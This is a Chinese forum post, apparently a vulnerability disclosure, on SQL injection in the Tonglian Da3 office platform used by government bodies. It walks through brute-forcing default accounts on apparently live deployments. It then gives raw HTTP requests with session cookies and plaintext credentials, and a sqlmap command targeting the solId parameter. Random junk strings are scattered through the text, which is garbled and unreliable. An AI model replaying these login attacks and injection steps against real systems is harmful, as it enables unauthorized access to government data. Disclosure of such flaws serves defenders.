同联Da3协同办公平台前台通用sql injection漏洞

admin

) n1 n6 A M: ~7 P; T

平台简介：

% n8 `) b3 \4 ^" |6 u: y6 d) L( [! s

 

( Z$ `) G' q B, w

' \" K7 I( a- F* o 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
$ Y2 R8 W! a3 x3 ^' S" a$ ?. L9 W* H7 W同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 9 r9 F& V8 w2 B# `" R8 \! a

7 X+ H; @2 o1 V# y

+ K6 _6 j" \ _5 V5 f2 S3 J! G1 h   ; p5 x' T$ d7 s& ?

% y! h1 W# C# B M4 ^- _& R1 w

. S5 U% G* w; I2 p) V 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  2 U# d! N( a! q' N) P c% k

, g, |; |: }6 T1 U7 E

2 m% H1 u% G/ j7 Z5 W) z: I http://1.1.1.1:7197/cap-aco/#（案例2-） , L: \& Y" o, ~% F ^& A! h& K% E& G

( O+ o9 \" C' d: G% K) v/ C, n* L

7 l( t+ _$ j/ L4 l/ T, i4 a http://www.XXOO.com （案例1-官网网站）

P" C1 ~+ N0 u# K) E* `

7 A) N5 p5 L: E. b  

# V0 q- e6 ]2 r3 U* A

漏洞详情: ( }" G+ \% X, A: H: B

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 8 E5 K7 @" l* d0 K, o: [. r

7 I) p. f o) ?+ _; p, H

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

F) {) f5 C$ l8 [$ ]   3 s" ?2 S2 _0 E

- H+ {- v# |$ u+ W2 }   ' h" |5 b; C. [1 s) p8 s9 Q; D

% M: l Z/ a- E j a* {( M* z status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站

* n7 m+ ?- d5 X; @1 V

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 $ H: {: C6 D" ~% \( B

* j9 V( M5 B+ b8 K3 P& n7 q5 l. I Host: www.XXOO.com

; d) d% G; O; k5 Y, o4 n Proxy-Connection: Keep-Alive ' X( N/ t' S/ R# y9 n: v4 J

$ T7 {, z: [- c/ J7 y; ~- s( O

Accept: application/json, text/javascript, */*; q=0.01

0 J, M( \( W2 ?" r% U' y5 ]/ D4 C. f' p

Accept-Language: zh-CN

$ k0 c8 [; g/ `4 C% j. `. ^ Content-Type: application/json 0 B1 L7 L! e u5 ~3 `$ Y

4 e/ t% D3 [# c. s( T

& S* h+ G2 i4 r; X User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

) j: I; J4 f; j+ B

X-Requested-With: XMLHttpRequest

# e5 Q$ I+ L8 i

6 f# f$ k. s5 o; M Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

/ D2 K# K4 X3 e; X6 ^5 t Accept-Encoding: gzip, deflate, sdch

. P+ i# N# H, j f7 o Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

^* o7 q. u6 Z. B3 h3 \ 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 2 h" j3 o& Z1 A# v- D

; t' M" _- W5 T' O9 x

0 V+ u; H3 {9 s6 k  

; e/ ^0 `1 c% {' `& b, {; P

/ ^. }8 H: l) _; N M  

! C+ U* \2 C: s8 ?5 D! U

 

v4 p0 N6 [+ R# Q1 s# l& A  

 

2、案例2-某天河云平台

6 a4 M% ?! ^ e9 {: ?. V0 e GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

. }& d4 C4 p4 K$ Z3 N, }1 h

Host: 1.1.1.:7197 - c/ R; A( `8 a) E. S" Z6 y

Accept: application/json, text/javascript, */*; q=0.01 . H2 k% |( d- W( b

5 T e; Y+ L6 ]$ ?

4 S4 Q* [& T1 c6 Q; A' V6 } K2 a X-Requested-With: XMLHttpRequest - x8 j* h, m7 Z3 J( U! X/ C1 o8 E

, n6 h9 @& b8 w% O" h3 T* s User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

* g0 B1 D% ?7 I" M

: W( v7 s3 J [; n- { Content-Type: application/json

' o: j) ~' |& P& V Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

8 }* _- y- [& Q1 J. ~ Accept-Language: zh-CN,zh;q=0.8

; O( f/ {6 N! w2 l Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

/ y1 \2 j9 Z3 l" c0 o+ i- v! {

Connection: close + @2 Y; u. m: ?9 U/ P$ D$ Q0 @( Q

# P/ ?1 s; D: M8 K* q2 C 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: . Y" f/ @( D& J0 r; C0 Z

' Z( W6 z& T: U$ N# L& T

x" Z: F+ `! K+ N   7 f3 k7 m0 h$ J" m% A9 O0 z* F9 w; Q

' a9 I+ _# |7 W